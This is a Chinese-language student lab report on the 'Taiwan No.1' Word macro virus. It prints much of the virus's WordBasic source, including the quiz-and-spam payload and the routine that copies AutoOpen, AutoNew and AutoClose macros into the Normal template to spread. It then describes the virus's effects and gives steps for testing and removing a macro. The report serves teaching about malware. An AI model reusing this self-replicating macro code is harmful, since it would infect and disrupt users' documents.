计算机病毒原理-台湾1号病毒实验报告

计算机病毒原理-台湾1号病毒实验报告计算机病毒实验报告姓名：学号:老师：日期：

con=(con*nm(i))

Ifi=4Then

tog$=tog$+Str$(nm(4))+"=?"

Gotobeg

EndIf

tog$=tog$+Str$(nm(i))+"*"

Nexti

rem随机选出四个千位数,以便等一下的游戏

beg:

Beep

rem电脑发出"哔"一声

ans$=InputBox$("今天是"+Date$()+",跟你玩一个心算游戏"

+Chr$(13)+/

"若你答错,只好接受震撼教育.............."+Chr$(13)+/

tog$,"台湾NO.1MacroVirus")

rem开个对话盒,以便输入解答用

IfRTrim$(LTrim$(ans$))=LTrim$(Str$(con))Then

MsgBox"恭贺你答对了,按确定就告诉你想知道的....",/

"台湾NO.1MacroVirus"

FileNewDefault

CenterPara

FormatFont.Font="细明体",.Points=16,.Bold=1,.Underline=1

Beep

Insert"何谓巨集病毒？"

InsertPara

Beep

Insert"答案:"

Italic1

Insert"我就是....."

InsertPara

InsertPara

Italic0

FormatFont.Font="细明体",.Points=16,.Bold=1,.Underline=1

Beep

Insert"如何预防巨集病毒？"

InsertPara

Beep

Insert"答案:"

Italic1

Insert"不要看我....."

Gotoexit

Else

Forj=1To20

Beep

FileNewDefault

Nextj

CenterPara

FormatFont.Font="细明体",.Points=16,.Bold=1,.Underline=1

Insert"巨集病毒"

Gototry

EndIf

Wend

EndIf

nor=CountMacros(0)

Ifnor>0Then

Forkk=1Tonor

IfMacroName$(kk,0)="AutoOpen"Thent=1

EndIf

Nextkk

EndIf

file$=FileName$()

filem$=file$+":AutoOpen"

Ift<>1Then

MacroCopyfilem$,"AutoOpen"

MacroCopyfilem$,"AutoNew"

MacroCopyfilem$,"AutoClose"

EndIf

nor1=CountMacros(1)

Ifnor1>0Then

Forkkk=1Tonor1

IfMacroName$(kkk,1)="AutoOpen"Thentt=1

EndIf

Nextkkk

EndIf

Iftt<>1Then

FileSaveAs.Format=1

MacroCopy"AutoOpen",filem$

EndIf

exit:

EndSub该病毒的效果如下：当打开被感染的word文档时，首先进行自我复制，感染word模板，然后检查日期，看是否是1日（即在每月的1日会发作），然后跳出一个对话框，要求用户进行一次心算游戏，这里只用四个小于10的数相乘，如果作者的计算正确，那么就会新建一个文档，跳出如下字幕：何谓宏病毒答案：我就是......将系统日期设为XX月1号如果答错，就会不停地刷屏，然后继续让你答题，否则跳出如下界面:计算机宏病毒1).新建Word文档并打开2).调出开发工具,设置宏的等级，启用宏3).创建宏，命名AutoExec编辑4).编辑宏，语法上注意VBA版本保存5).关闭所有Word（必须）6).再次打开Word文档，宏病毒爆发,弹出刚刚编写的msgbox窗口7).启动任务管理器结束进程搜索winword.exe文件，并确定复制其位置8).启用CMD,定位winword位置：输入命令，用参数来打开安全模式winword.exe/a（执行此命令2次）第一次安全模式第二次新建文档进行宏的打开设置来禁用宏9).搜索normal.dotm等模板文件，若搜索不出东西，在高级选项中选中搜索隐藏文件及系统文件即可，并删除那个文件夹下的所有模板10).简易摆脱宏完成，重新打开word